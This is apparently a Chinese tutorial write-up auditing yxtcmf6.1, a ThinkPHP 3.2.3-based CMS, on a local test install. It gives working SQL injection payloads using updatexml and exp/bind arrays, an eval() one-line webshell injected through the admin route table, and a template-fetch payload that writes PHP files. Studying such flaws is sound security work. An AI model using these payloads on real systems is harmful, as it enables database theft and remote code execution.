基于ThinkPHP的CMS审计思路
前言
yxtcmf6.1是一个基于thinkphp3.2.3的cms，19年3月份发布，用来练习代码审计是个不错的选择。
审计思路
由于这个cms采用MVC架构并且是基于thinkphp3.2.3的，所以先了解文件结构，知道不同的页面对应的文件位置在哪。然后搭建一个tp3.2.3了解一下这个框架，百度找找这个框架的漏洞，再通过Seay全局搜索可能因为这个框架存在漏洞的关键词。接下来上自动审计（自动审计的规则并不是很完全，所以可以通过自己审计的经验添加规则或者上百度找一些规则），对自动审计的结果进行验证，结果可能会有几百上千条，虽然不用每一条都去看，但是也是比较需要耐心的。最后可以拿AWVS之类的扫描器扫一扫，看看能不能扫出惊喜。
准备工具
phpstorm，Seay源码审计系统，phpstudy，AWVS
0x00 了解文件结构和路由方式
路由方式
例如前台登录界面的url为http://127.0.0.1:8014/index.php/User/Login/index
则对应的文件目录为/application/User/LoginController.class.php，函数为index()
0x01 了解thinkphp3.2.3的漏洞
自己先搭建一个tp3.2.3，通过百度找到了一些thinkphp3.2.3存在的sql注入，然后记录下来简单说明一下
tp3.2.3构造sql语句的函数如上，如果$option的值是可以任意传入的，那么就有可能达到sql注入的目的
1.->where(“可控参数”)->find()
$username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();测试代码如上，传入参数username[0]=exp&username[1]==’admin’ and updatexml(1,concat(0x3a,(user())),1)%23，然后调试跟进，主要代码段如下，$whereStr为构造sql语句的一部分
结果构成如下sql语句
这里接收传参的方法必须不为I($_GET[‘username’])，否则会检测值内是否含有’exp’，如果有，就会加上空格变为’exp ‘
2.->find/select/delete(“可控参数”)
$id=I("id");$data=M("users")->find($id);测试代码如上，传入id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23 ，然后调试跟踪
最后得到sql语句如下，不需要单引号闭合也可完成注入
find()换成select()或者delete()也是一样的效果
3.->where(“可控参数”)->save(“可控参数”)
$condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);测试代码如上，传入username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456，调试跟踪
4.->order(“可控参数”)->find()
$username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();测试代码如上，传入username=admin&order[updatexml(1,concat(0x3a,user()),1)]
最后的sql语句如下
了解了几个tp3.2.3的sql注入后，就可以搜索这些关键词来寻找sql注入
0x02 全局搜索sql注入
正则学的不是很好，所以这里全局搜索虽然支持正则，但是没去用，只能写点简单的关键词来搜索，还望师傅们指点指点
全局搜索->find(
1.后台Ad控制器sql注入
点进去第一条发现where()内的id可控，“ad_id=id”，可能不需要单引号闭合就可以sql注入
先随便传个参数看看sql语句是怎样的
竟然这样，就可以用括号闭合来注入了
2.前台register控制器sql注入
看看$where是否可控
于是构造payload如下
3.前台login控制器sql注入
这里一共有三处同样的关键词，需要注意的一点是，这三条不管双击进去哪一条后都只会高亮显示第一处关键词的位置。
第一处
第二处
第三处
第一处和第二处所在的函数都是在dologin()函数内调用的
接下来在第二处所在页面传参payload看看
结果出现错误提示，那么就调试跟踪看看是哪里的问题
然后继续跟进这行代码，
最后看看第三处
后面的结果大致看了一下基本都是where()内的参数都做了强制类型转换成int型，或者不可控，并且也没有看到fin()内有可控参数的。
全局搜索->select/delete(
这两都没找到select/delete()里面有可控参数的
全局搜索->save(
这里找的也是不符合可能存在漏洞的条件
全局搜素->order(
同上，没看到order()内有可控参数的
0x03 自动审计
通过自动审计扫出了800多条结果，但是并不需要全都看，比如了解了tp3.2.3后，它的核心文件的就不需要看了，还有刚刚分析过了sql注入，那么这里面的sql注入也不需要看了。像fread(),fgets()这种需要输出才能看到文件内容的，如果没有看到输出的语句也可以放弃了，而像readfile()，unlink()这种可以直接得到执行结果的，就要重点关注一下。
0x04 后台任意文件读取
翻着翻着找到了这里，进去看看变量是否可控
0x05 后台文件写入getshell
翻到这里，点进去看看
那么如果能在route表中的full_url字段中插入一句话木马，就可以将其写入到route.php里面了
上面的1212-1217行需要注意一下
parse_url($full_url)将里面的值解析，并将相应的值组合成数组，例子如下
如果$a直接填a/b/c/d，那么array[path]=a/b/c/d
继续看到1215-1217行
所以full_url的字段必须含有 a/b/c 这样的形式
全局搜索sp_get_routes后发现admin目录下的Route控制器调用了它
虽然index()函数下没有插入表的语句，但是下面还有add()函数进行数据库插入，先打开这个index页面看看
发现有添加url规则
确实是在add()下，并且原始网址的变量名为full_url，加下来都输入111验证下是否是插入route表
接下来看看route.php的样式和插入数据是否有过滤来确定payload要怎么写
因为这是个php文件，所以不需要插入<>了，只要能插入单引号闭合，那么就可以将一句话木马插入
先插入带单引号的数据测试一下
然后再结合上面说的 full_url的字段必须含有 a/b/c 这样的形式 那么就可以构造以下两种payload
url=aaa',@eval($_REQUEST['a']),'
full_url=a/b/c
url=aaa
full_url=a/b/c',@eval($_REQUEST['a']),'
添加完后会自动跳转到url美化界面，也就是调用route控制器的index()函数，完成写入route.php的操作
然后成功执行phpinfo()
0x06 前台文件写入getshell
这个是在百度上找到的，而且比较复杂，小弟水平有限，调试了很多遍才知道在哪执行的写入。
http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
由于前面跟进了很多文件和函数，跟进步骤比较繁琐，我在这就直接贴出最后关键的地方
先回调has方法检查有没有’’5f068… 这个php文件，如果没有，则回调put写入这个文件
这里的$content就包含了payload里写入的值
如果有’’5f068… 这个文件，那么就回调load函数，然后文件包含’’5f068… ，里面的代码被执行，那么test.php文件就被写入了
0x07 AWVS扫描
AWVS并没有扫出来什么…
总结
自动审计除了这些验证出漏洞的地方，还有很多不存在漏洞的地方我也看了，要么就是参数不可控，要么就是做了防护。虽然不用每一条结果都去看，但还是需要有点耐心。希望这篇文章能对刚入门审计的兄弟有所帮助，有问题的地方也还望师傅们指出。